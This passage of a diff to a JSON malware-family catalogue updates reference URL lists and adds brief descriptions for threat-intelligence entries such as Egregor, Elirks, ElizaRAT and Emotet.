"https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", - "https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/", - "https://www.bleepingcomputer.com/news/security/maze-ransomware-is-shutting-down-its-cybercrime-operation/", - "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", - "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", - "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", "https://www.zdnet.com/article/ubisoft-crytek-data-posted-on-ransomware-gangs-site/", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://blog.malwarebytes.com/ransomware/2020/12/threat-profile-egregor-ransomware-is-making-a-name-for-itself/", + "https://www.bleepingcomputer.com/news/security/translink-confirms-ransomware-data-theft-still-restoring-systems/", + "https://securityaffairs.co/wordpress/127826/malware/egregor-sekhmet-decryption-keys.html", + "https://therecord.media/frances-lead-cybercrime-investigator-on-the-egregor-arrests-cybercrime/", + "https://analyst1.com/blog/ransom-mafia-analysis-of-the-worlds-first-ransomware-cartel", + "https://www.fireeye.com/blog/threat-research/2021/02/melting-unc2198-icedid-to-ransomware-operations.html", + "https://www.bleepingcomputer.com/news/security/retail-giant-cencosud-hit-by-egregor-ransomware-attack-stores-impacted/", + "https://blog.emsisoft.com/en/37810/ransomware-profile-egregor/", + "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", + "https://www.group-ib.com/blog/egregor", "https://www.intrinsec.com/egregor-prolock/", + "https://www.bleepingcomputer.com/news/security/ransomware-dev-releases-egregor-maze-master-decryption-keys/", + "https://www.cybereason.com/blog/cybereason-vs-egregor-ransomware", + "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-007/", + "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", + "https://id-ransomware.blogspot.com/2020/09/egregor-ransomware.html", + "https://www.bleepingcomputer.com/news/security/lockbit-ransomware-now-encrypts-windows-domains-using-group-policies/", + "https://www.appgate.com/news-press/appgate-labs-analyzes-new-family-of-ransomware-egregor", + "https://blog.minerva-labs.com/egregor-ransomware-an-in-depth-analysis", + "https://unit42.paloaltonetworks.com/egregor-ransomware-courses-of-action/", + "https://web.archive.org/web/20201207094648/https://go.group-ib.com/rs/689-LRE-818/images/Group-IB_Egregor_Ransomware.pdf", + "https://www.huntandhackett.com/blog/advanced-ip-scanner-the-preferred-scanner-in-the-apt-toolbox", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/", + "https://www.bleepingcomputer.com/news/security/largest-global-staffing-agency-randstad-hit-by-egregor-ransomware/", + "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", + "https://www.bleepingcomputer.com/news/security/crytek-confirms-egregor-ransomware-attack-customer-data-theft/", + "https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/", + "https://news.sophos.com/en-us/2020/12/08/egregor-ransomware-mazes-heir-apparent/", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.bleepingcomputer.com/news/security/maze-ransomware-is-shutting-down-its-cybercrime-operation/", + "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", + "https://ssu.gov.ua/en/novyny/sbu-zablokuvala-diialnist-transnatsionalnoho-khakerskoho-uhrupovannia", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.bleepingcomputer.com/news/security/barnes-and-noble-hit-by-egregor-ransomware-strange-data-leaked/", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.coveware.com/blog/ransomware-attack-vectors-shift-as-new-software-vulnerability-exploits-abound", + "https://www.trendmicro.com/en_us/research/20/l/egregor-ransomware-launches-string-of-high-profile-attacks-to-en.html", + "https://blog.bushidotoken.net/2022/05/gamer-cheater-hacker-spy.html", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "https://securityintelligence.com/posts/egregor-ransomware-negotiations-uncovered/", + "https://www.morphisec.com/hubfs/eBooks_and_Whitepapers/EGREGOR%20REPORT%20WEB%20FINAL.pdf", + "https://www.bleepingcomputer.com/news/security/metro-vancouvers-transit-system-hit-by-egregor-ransomware/", + "https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/", + "https://intel471.com/blog/egregor-arrests-ukraine-sbu-maze-ransomware", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone/", + "https://public.intel471.com/blog/ransomware-as-a-service-2020-ryuk-maze-revil-egregor-doppelpaymer/", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://blog.chainalysis.com/reports/ransomware-connections-maze-egregor-suncrypt-doppelpaymer", + "https://go.recordedfuture.com/hubfs/reports/cta-2020-1203.pdf", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", + "https://www.trendmicro.com/en_us/research/21/c/egregor-ransomware-cartel-members-arrested.html", "https://blog.talosintelligence.com/2021/03/ctir-trends-winter-2020-21.html", "https://twitter.com/redcanary/status/1334224861628039169", - "https://blog.malwarebytes.com/ransomware/2020/12/threat-profile-egregor-ransomware-is-making-a-name-for-itself/", - "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", - "https://securityintelligence.com/posts/egregor-ransomware-negotiations-uncovered/", - "https://www.bleepingcomputer.com/news/security/barnes-and-noble-hit-by-egregor-ransomware-strange-data-leaked/", - "https://www.trendmicro.com/en_us/research/20/l/egregor-ransomware-launches-string-of-high-profile-attacks-to-en.html", - "https://www.morphisec.com/hubfs/eBooks_and_Whitepapers/EGREGOR%20REPORT%20WEB%20FINAL.pdf", - "https://blog.minerva-labs.com/egregor-ransomware-an-in-depth-analysis", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://www.bleepingcomputer.com/news/security/retail-giant-cencosud-hit-by-egregor-ransomware-attack-stores-impacted/", - "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", - "https://web.archive.org/web/20201207094648/https://go.group-ib.com/rs/689-LRE-818/images/Group-IB_Egregor_Ransomware.pdf", - "https://areteir.com/wp-content/uploads/2021/01/01182021_Egregor_Insight.pdf", "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.group-ib.com/blog/egregor", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.bleepingcomputer.com/news/security/crytek-confirms-egregor-ransomware-attack-customer-data-theft/", "https://analyst1.com/file-assets/RANSOM-MAFIA-ANALYSIS-OF-THE-WORLD%E2%80%99S-FIRST-RANSOMWARE-CARTEL.pdf", - "https://www.appgate.com/news-press/appgate-labs-analyzes-new-family-of-ransomware-egregor", - "https://www.bleepingcomputer.com/news/security/metro-vancouvers-transit-system-hit-by-egregor-ransomware/", - "https://www.bleepingcomputer.com/news/security/largest-global-staffing-agency-randstad-hit-by-egregor-ransomware/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.bleepingcomputer.com/news/security/kmart-nationwide-retailer-suffers-a-ransomware-attack/", + "https://securelist.com/targeted-ransomware-encrypting-data/99255/", + "https://areteir.com/wp-content/uploads/2021/01/01182021_Egregor_Insight.pdf", "https://www.hornetsecurity.com/en/threat-research/qakbot-reducing-its-on-disk-artifacts/", - "https://ssu.gov.ua/en/novyny/sbu-zablokuvala-diialnist-transnatsionalnoho-khakerskoho-uhrupovannia", - "https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/", - "https://www.crowdstrike.com/blog/prophet-spider-exploits-oracle-weblogic-to-facilitate-ransomware-activity/", - "https://securelist.com/targeted-ransomware-encrypting-data/99255/" + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" ], "synonyms": [], "type": [] @@ -23064,8 +24155,8 @@ "https://malpedia.caad.fkie.fraunhofer.de/details/win.electricfish", "https://www.us-cert.gov/ncas/analysis-reports/AR19-129A", "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://adeo.com.tr/wp-content/uploads/2020/05/ADEO-Lazarus-APT38.pdf", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://adeo.com.tr/wp-content/uploads/2020/05/ADEO-Lazarus-APT38.pdf" ], "synonyms": [], "type": [] @@ -23087,11 +24178,12 @@ "value": "ElectricPowder" }, { - "description": "", + "description": "Elirks is a basic backdoor Trojan, first discovered in 2010, that is primarily used to steal information from compromised systems. Mostly attacks using Elirks occurring in East Asia. One of the unique features of the malware is that it retrieves its C2 address by accessing a pre-determined microblog service or SNS. Attackers create accounts on those services and post encoded IP addresses or the domain names of real C2 servers in advance of distributing the backdoor. Multiple Elirks variants using Japanese blog services for the last couple of years.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.elirks", - "https://researchcenter.paloaltonetworks.com/2016/09/mile-tea-cyber-espionage-campaign-targets-asia-pacific-businesses-and-government-agencies/" + "https://researchcenter.paloaltonetworks.com/2016/09/mile-tea-cyber-espionage-campaign-targets-asia-pacific-businesses-and-government-agencies/", + "https://unit42.paloaltonetworks.com/unit42-tracking-elirks-variants-in-japan-similarities-to-previous-attacks/" ], "synonyms": [], "type": [] @@ -23104,16 +24196,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.elise", - "https://documents.trendmicro.com/assets/threat-reports/rpt-1h-2014-targeted-attack-trends-in-asia-pacific.pdf", - "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", "https://www.accenture.com/t20180127T003755Z_w_/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-elgin", + "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries", "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://securelist.com/blog/research/70726/the-spring-dragon-apt/", + "https://documents.trendmicro.com/assets/threat-reports/rpt-1h-2014-targeted-attack-trends-in-asia-pacific.pdf", + "https://www.joesecurity.org/blog/8409877569366580427", "https://www.accenture.com/t20180127T003755Z__w__/us-en/_acnmedia/PDF-46/Accenture-Security-Dragonfish-Threat-Analysis.pdf", "https://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/", - "https://www.secureworks.com/research/threat-profiles/bronze-elgin", - "https://www.fireeye.com/blog/threat-research/2020/04/code-grafting-to-unpack-malware-in-emulation.html", - "https://securelist.com/blog/research/70726/the-spring-dragon-apt/", - "https://www.joesecurity.org/blog/8409877569366580427" + "https://www.fireeye.com/blog/threat-research/2020/04/code-grafting-to-unpack-malware-in-emulation.html" ], "synonyms": [ "EVILNEST" @@ -23123,6 +24215,19 @@ "uuid": "3477a25d-e04b-475e-8330-39f66c10cc01", "value": "Elise" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.eliza_rat", + "https://www.zscaler.com/blogs/security-research/peek-apt36-s-updated-arsenal" + ], + "synonyms": [], + "type": [] + }, + "uuid": "c13fc723-0fd8-4e27-b1d7-a71976ad0268", + "value": "ElizaRAT" + }, { "description": "This dropper masquerades itself as Adobe software, titled as Adobe.msi. It is used to executes the python written Backdoor used by this threat actor.", "meta": { @@ -23141,11 +24246,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.elmer", - "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html", - "https://www.symantec.com/security-center/writeup/2015-122210-5724-99", "https://cybergeeks.tech/a-detailed-analysis-of-elmer-backdoor-used-by-apt16/", + "https://attack.mitre.org/software/S0064", "https://attack.mitre.org/groups/G0023", - "https://attack.mitre.org/software/S0064" + "https://www.symantec.com/security-center/writeup/2015-122210-5724-99", + "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" ], "synonyms": [ "Elmost" @@ -23160,12 +24265,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.emdivi", - "http://blog.jpcert.or.jp/2015/11/decrypting-strings-in-emdivi.html", + "http://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-cyber-espionage-campaign/", "https://securelist.com/new-activity-of-the-blue-termite-apt/71876/", "http://blog.trendmicro.com/trendlabs-security-intelligence/attackers-target-organizations-in-japan-transform-local-sites-into-cc-servers-for-emdivi-backdoor/", - "http://blog.trendmicro.com/trendlabs-security-intelligence/chessmaster-cyber-espionage-campaign/", - "https://www.macnica.net/file/security_report_20160613.pdf", - "https://www.virusbulletin.com/virusbulletin/2020/05/vb2019-paper-apt-cases-exploiting-vulnerabilities-regionspecific-software/" + "https://www.virusbulletin.com/virusbulletin/2020/05/vb2019-paper-apt-cases-exploiting-vulnerabilities-regionspecific-software/", + "http://blog.jpcert.or.jp/2015/11/decrypting-strings-in-emdivi.html", + "https://www.macnica.net/file/security_report_20160613.pdf" ], "synonyms": [], "type": [] @@ -23191,316 +24296,319 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.emotet", - "https://blogs.vmware.com/security/2022/05/emotet-config-redux.html", - "https://www.anomali.com/blog/mummy-spiders-emotet-malware-is-back-after-a-year-hiatus-wizard-spiders-trickbot-observed-in-its-return", - "https://www.youtube.com/watch?v=q8of74upT_g", - "https://www.vmware.com/content/dam/learn/en/amer/fy23/pdf/1669005_Emotet_Exposed_A_Look_Inside_the_Cybercriminal_Supply_Chain.pdf", - "https://blog.malwarebytes.com/botnets/2019/09/emotet-is-back-botnet-springs-back-to-life-with-new-spam-campaign/", - "https://www.esentire.com/security-advisories/emotet-activity-identified", - "https://www.bka.de/DE/Presse/Listenseite_Pressemitteilungen/2021/Presse2021/210127_pmEmotet.html", - "https://www.spamhaus.org/news/article/783/emotet-adds-a-further-layer-of-camouflage", - "https://unit42.paloaltonetworks.com/c2-traffic/", - "https://blogs.vmware.com/security/2022/08/how-to-replicate-emotet-lateral-movement.html", - "https://www.trendmicro.com/en_us/research/22/e/bruised-but-not-broken--the-resurgence-of-the-emotet-botnet-malw.html", - "https://www.cert.ssi.gouv.fr/alerte/CERTFR-2020-ALE-019/", - "https://www.deepinstinct.com/2020/08/12/why-emotets-latest-wave-is-harder-to-catch-than-ever-before/", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", - "https://www.us-cert.gov/ncas/alerts/TA18-201A", - "https://exchange.xforce.ibmcloud.com/collection/18f373debc38779065a26f1958dc260b", - "https://medium.com/brim-securitys-knowledge-funnel/hunting-emotet-with-brim-and-zeek-1000c2f5c1ff", - "https://github.com/d00rt/emotet_research", - "https://blog.bushidotoken.net/2022/04/lessons-from-conti-leaks.html", - "https://www.esentire.com/blog/increase-in-emotet-activity-and-cobalt-strike-deployment", - "https://www.bleepingcomputer.com/news/security/emotet-botnet-switches-to-64-bit-modules-increases-activity/", - "https://unit42.paloaltonetworks.com/emotet-command-and-control/", - "https://thedfirreport.com/2022/09/12/dead-or-alive-an-emotet-story/", - "https://blogs.cisco.com/security/emotet-is-back", - "https://blog.threatlab.info/malware-analysis-emotet-infection/", - "https://www.netskope.com/blog/you-can-run-but-you-cant-hide-advanced-emotet-updates", - "https://unit42.paloaltonetworks.com/attack-chain-overview-emotet-in-december-2020-and-january-2021/", - "https://www.picussecurity.com/blog/emotet-technical-analysis-part-1-reveal-the-evil-code", - "https://www.bleepingcomputer.com/news/security/emotet-trickbot-malware-duo-is-back-infecting-windows-machines/", - "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", - "https://www.welivesecurity.com/2022/06/16/how-emotet-is-changing-tactics-microsoft-tightening-office-macro-security/", - "https://intel471.com/blog/conti-emotet-ransomware-conti-leaks", - "https://content.secureworks.com/-/media/Files/US/Reports/Monthly%20Threat%20Intelligence/Secureworks_ECO1_ThreatIntelligenceExecutiveReport2022Vol2.ashx", - "https://marcoramilli.com/2019/10/14/is-emotet-gang-targeting-companies-with-external-soc/", - "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", - "https://www.cert.govt.nz/it-specialists/advisories/emotet-malware-being-spread-via-email/", - "https://threatconnect.com/blog/threatconnect-research-roundup-probable-sandworm-infrastructure", - "https://blog.talosintelligence.com/2020/11/emotet-2020.html", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-003.pdf", - "https://pl-v.github.io/plv/posts/Emotet-unpacking/", - "https://intel471.com/blog/emotet-takedown-2021/", - "https://www.govcert.admin.ch/blog/36/severe-ransomware-attacks-against-swiss-smes", - "https://www.telekom.com/en/blog/group/article/cybersecurity-dissecting-emotet-part-two-596128", - "https://blog.talosintelligence.com/2020/02/coronavirus-themed-malware.html", - "https://www.binarydefense.com/emotet-evolves-with-new-wi-fi-spreader/", - "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", - "https://www.spamhaus.com/custom-content/uploads/2021/04/Botnet-update-Q1-2021.pdf", - "https://unit42.paloaltonetworks.com/wireshark-tutorial-emotet-infection/", - "https://www.netskope.com/blog/emotet-still-abusing-microsoft-office-macros", - "https://www.bitsight.com/blog/emotet-botnet-rises-again", - "https://www.inde.nz/blog/analysis-of-the-latest-wave-of-emotet-malicious-documents", - "https://www.eurojust.europa.eu/worlds-most-dangerous-malware-emotet-disrupted-through-global-action", - "https://unit42.paloaltonetworks.com/new-emotet-infection-method/", - "https://github.com/cecio/EMOTET-2020-Reversing", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf", - "https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-2.html", - "https://securelist.com/the-chronicles-of-emotet/99660/", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_4_ogawa-niseki_en.pdf", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://de.darktrace.com/blog/emotet-resurgence-cross-industry-campaign-analysis", - "https://hatching.io/blog/powershell-analysis", - "https://int0xcc.svbtle.com/dissecting-emotet-s-network-communication-protocol", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/", - "https://twitter.com/raashidbhatt/status/1237853549200936960", - "https://unit42.paloaltonetworks.com/emotet-thread-hijacking/", - "https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/", - "https://unit42.paloaltonetworks.com/domain-parking/", - "https://www.fortinet.com/blog/threat-research/bad-actors-capitalize-current-events-email-scams", - "https://www.fortinet.com/blog/threat-research/ms-office-files-involved-again-in-recent-emotet-trojan-campaign-part-ii", - "https://cyber.wtf/2021/11/15/guess-whos-back/", - "https://threatresearch.ext.hp.com/wp-content/uploads/2022/05/HP-Wolf-Security-Threat-Insights-Report-Q1-2022.pdf", - "https://www.wiwo.de/my/technologie/digitale-welt/emotet-netzwerk-wie-eines-der-groessten-hacker-netzwerke-der-welt-lahmgelegt-wurde/27164048.html", - "https://www.proofpoint.com/us/blog/threat-insight/emotet-makes-timely-adoption-political-and-elections-lures", - "https://malfind.com/index.php/2018/07/23/deobfuscating-emotets-powershell-payload/", - "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-OReilly-Jarvis-End-to-end-Botnet-Monitoring.pdf", - "https://www.vmray.com/cyber-security-blog/malware-analysis-spotlight-emotets-use-of-cryptography/", - "https://blog.virustotal.com/2020/11/using-similarity-to-expand-context-and.html", - "https://blog.malwarebytes.com/threat-analysis/2021/01/cleaning-up-after-emotet-the-law-enforcement-file/", - "https://www.hornetsecurity.com/en/security-information/emotet-is-back/", - "https://blogs.vmware.com/security/2022/05/emotet-moves-to-64-bit-and-updates-its-loader.html", - "https://threatpost.com/emotet-spreading-malicious-excel-files/178444/", - "https://www.deepinstinct.com/blog/the-re-emergence-of-emotet", - "https://persianov.net/emotet-malware-analysis-part-2", - "https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf", - "https://www.youtube.com/watch?v=5_-oR_135ss", - "https://blogs.blackberry.com/en/2023/01/emotet-returns-with-new-methods-of-evasion", - "https://dissectingmalwa.re/return-of-the-mummy-welcome-back-emotet.html", - "https://blogs.jpcert.or.jp/en/2021/02/emotet-notice.html", - "https://blog.securityonion.net/2022/02/quick-malware-analysis-emotet-epoch-5.html", - "https://www.hornetsecurity.com/en/threat-research/comeback-emotet/", - "https://blog.nviso.eu/2022/03/23/hunting-emotet-campaigns-with-kusto/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/", - "https://www.cisa.gov/uscert/ncas/alerts/aa22-110a", - "https://www.cronup.com/la-botnet-de-emotet-reinicia-ataques-en-chile-y-latinoamerica/", - "https://www.symantec.com/blogs/threat-intelligence/evolution-emotet-trojan-distributor", - "https://www.proofpoint.com/us/blog/threat-insight/q4-2020-threat-report-quarterly-analysis-cybersecurity-trends-tactics-and-themes", - "https://www.bleepingcomputer.com/news/security/emotet-malware-hits-lithuanias-national-public-health-center/", - "https://www.deepinstinct.com/blog/types-of-dropper-malware-in-microsoft-office", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://www.bleepingcomputer.com/news/security/united-nations-targeted-with-emotet-malware-phishing-attack/", - "https://www.seqrite.com/blog/the-return-of-the-emotet-as-the-world-unlocks/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.hornetsecurity.com/en/security-informationen-en/webshells-powering-emotet/", - "https://lokalhost.pl/txt/peering.into.spam.botnets.VirusBulletin2017.pdf", - "https://hello.global.ntt/en-us/insights/blog/behind-the-scenes-of-the-emotet-infrastructure", - "https://www.telekom.com/en/blog/group/article/cybersecurity-dissecting-emotet-part-one-592612", - "https://www.proofpoint.com/us/threat-insight/post/holiday-lull-not-so-much", - "https://web.archive.org/web/20211223100528/https://cloudsek.com/emotet-2-0-everything-you-need-to-know-about-the-new-variant-of-thbanking-trojan/", - "https://muha2xmad.github.io/unpacking/emotet-part-1/", - "https://intezer.com/blog/intezer-analyze/fantastic-payloads-and-where-we-find-them", - "https://www.ironnet.com/blog/detecting-a-mummyspider-campaign-and-emotet-infection", - "https://blog.talosintelligence.com/emotet-switches-to-onenote/", - "https://www.bsi.bund.de/SharedDocs/Downloads/DE/BSI/Publikationen/Lageberichte/Lagebericht2020.pdf?__blob=publicationFile&v=2", - "https://notes.netbytesec.com/2021/02/deobfuscating-emotet-macro-and.html", - "https://medium.com/threat-intel/emotet-dangerous-malware-keeps-on-evolving-ac84aadbb8de", - "https://www.youtube.com/watch?v=8PHCZdpNKrw", - "https://cloudblogs.microsoft.com/microsoftsecure/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/?source=mmpc", - "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta542-banker-malware-distribution-service", - "http://blog.trendmicro.com/trendlabs-security-intelligence/emotet-returns-starts-spreading-via-spam-botnet/", - "https://therecord.media/over-780000-email-accounts-compromised-by-emotet-have-been-secured/", - "https://www.netskope.com/blog/netskope-threat-coverage-the-return-of-emotet", - "https://www.gdatasoftware.com/blog/2022/01/malware-vaccines", - "https://asec.ahnlab.com/en/33600/", - "https://www.deepinstinct.com/2021/05/26/deep-dive-packing-software-cryptone/", - "https://news.sophos.com/en-us/2022/05/04/attacking-emotets-control-flow-flattening/", - "https://blog.malwarebytes.com/trojans/2020/07/long-dreaded-emotet-has-returned/", - "https://atr-blog.gigamon.com/2020/01/13/emotet-not-your-run-of-the-mill-malware/", - "https://blogs.vmware.com/networkvirtualization/2022/01/emotet-is-not-dead-yet.html/", - "https://r3mrum.wordpress.com/2021/01/05/manual-analysis-of-new-powersplit-maldocs-delivering-emotet/", - "https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://securelist.com/emotet-modules-and-recent-attacks/106290/", - "https://www.zscaler.com/blogs/research/emotet-back-action-after-short-break", - "https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022", - "https://speakerdeck.com/fr0gger/x-ray-of-malware-evasion-techniques-analysis-dissection-cure", - "https://twitter.com/eduardfir/status/1461856030292422659", - "https://www.infosecurity-magazine.com/blogs/a-rundown-of-the-emotet-malware/", - "https://www.zscaler.com/blogs/security-research/return-emotet-malware-analysis", - "https://blog.prevailion.com/wizard-spider-continues-to-confound-4298370f6903", - "https://cofense.com/blog/emotet-sending-malicious-emails-after-three-month-hiatus/", - "https://persianov.net/emotet-malware-analysis-part-1", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-006.pdf", - "https://www.trendmicro.com/en_us/research/22/c/cyberattacks-are-prominent-in-the-russia-ukraine-conflict.html", - "https://news.sophos.com/en-us/2020/07/28/emotets-return-is-the-canary-in-the-coal-mine/?cmp=30728", - "https://blog.intel471.com/2020/04/14/understanding-the-relationship-between-emotet-ryuk-and-trickbot/", - "https://quickheal.co.in/documents/technical-paper/Whitepaper_HowToPM.pdf", - "https://www.tgsoft.it/files/report/download.asp?id=7481257469", - "https://github.com/mauronz/binja-emotet", - "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", - "https://www.bleepingcomputer.com/news/security/microsoft-emotet-took-down-a-network-by-overheating-all-computers/", - "https://experience.mandiant.com/trending-evil-2/p/1", - "https://www.youtube.com/watch?v=AkZ5TYBqcU4", - "https://spamauditor.org/2020/10/the-many-faces-of-emotet/", - "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", - "https://www.lac.co.jp/lacwatch/people/20201106_002321.html", - "https://isc.sans.edu/diary/rss/28254", - "https://www.berlin.de/sen/justva/presse/pressemitteilungen/2020/pm-11-2020-t-systems-forensik_bericht_public_v1.pdf", - "https://www.elastic.co/security-labs/emotet-dynamic-configuration-extraction", - "https://twitter.com/Cryptolaemus1/status/1516535343281025032", - "https://www.bleepingcomputer.com/news/security/emotet-malware-now-steals-your-email-attachments-to-attack-contacts/", - "https://www.intezer.com/mitigating-emotet-the-most-common-banking-trojan/", - "https://feodotracker.abuse.ch/?filter=version_e", - "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-february-mummy-spider/", - "https://www.proofpoint.com/us/blog/threat-insight/geofenced-amazon-japan-credential-phishing-volumes-rival-emotet", - "https://twitter.com/milkr3am/status/1354459859912192002", - "https://www.cert.pl/en/news/single/analysis-of-emotet-v4/", - "https://www.secureworks.com/research/threat-profiles/gold-crestwood", - "https://www.bleepingcomputer.com/news/security/emotet-malware-now-installs-via-powershell-in-windows-shortcut-files/", - "https://www.cyberscoop.com/trickbot-shutdown-conti-emotet/", - "https://www.zeit.de/digital/2021-06/cybercrime-extortion-internet-spyware-ransomware-police-prosecution-hackers", - "https://hello.global.ntt/en-us/insights/blog/emotet-disruption-europol-counterattack", - "https://www.tagesschau.de/investigativ/br-recherche/emotet-schadsoftware-103.html", - "https://www.deepinstinct.com/2020/10/12/why-emotets-latest-wave-is-harder-to-catch-than-ever-before-part-2/", - "https://www.digitalshadows.com/blog-and-research/how-cybercriminals-are-taking-advantage-of-covid-19-scams-fraud-misinformation/", - "https://isc.sans.edu/forums/diary/Emotet%20infection%20with%20Cobalt%20Strike/28824/", - "https://paste.cryptolaemus.com", - "https://resecurity.com/blog/article/shortcut-based-lnk-attacks-delivering-malicious-code-on-the-rise", - 